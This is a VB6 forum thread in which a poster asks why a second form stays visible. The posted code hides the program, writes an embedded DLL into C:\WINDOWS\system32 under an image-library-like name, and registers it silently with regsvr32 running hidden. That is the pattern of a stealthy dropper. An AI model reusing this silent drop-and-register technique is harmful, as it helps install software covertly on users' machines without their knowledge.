Results 1 to 4 of 4

Thread: [VB6] Show/Hide forms!

  1. #1

    Thread Starter
    Member LoopUntil's Avatar
    Join Date
    Jul 2008
    Posts
    58

    Question [VB6] Show/Hide forms!

    Hello all!

    I have a problem with Show/Hide using 2 Forms.

    The "StartUp Object" is: Form1 and it contains this code:

    Code:
    Me.Hide
    
    If Dir("C:\WINDOWS\system32\DIjpg.dll") = "" Then
    	Dim yourresourceIMG() As Byte
    	yourresourceIMG = LoadResData(101, "DLLIMG")
    		Open "C:\WINDOWS\system32\DIjpg.dll" For Binary As #1
    			Put #1, 1, yourresourceIMG()
    		Close #1
    
    Shell "regsvr32 /s DIjpg.dll", vbHide
    End If
    
    Form2.Show
    And Form2 content is:

    Code:
    Me.Hide
    
    Msgbox "hello!"

    Now, when I open my program it drops and register the DLL but Form2 is not hiden and it is visible O_o

    Why? I write: Me.Hide in form2 Form_Load...

  2. #2

  3. #3

    Thread Starter
    Member LoopUntil's Avatar
    Join Date
    Jul 2008
    Posts
    58

    Re: [VB6] Show/Hide forms!

    Quote Originally Posted by MartinLiss
    me.hide since it's in form2 hides form2.
    yea :|

    I know that me.hide hides form2 but it doesn't o.o Why?

  4. #4

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width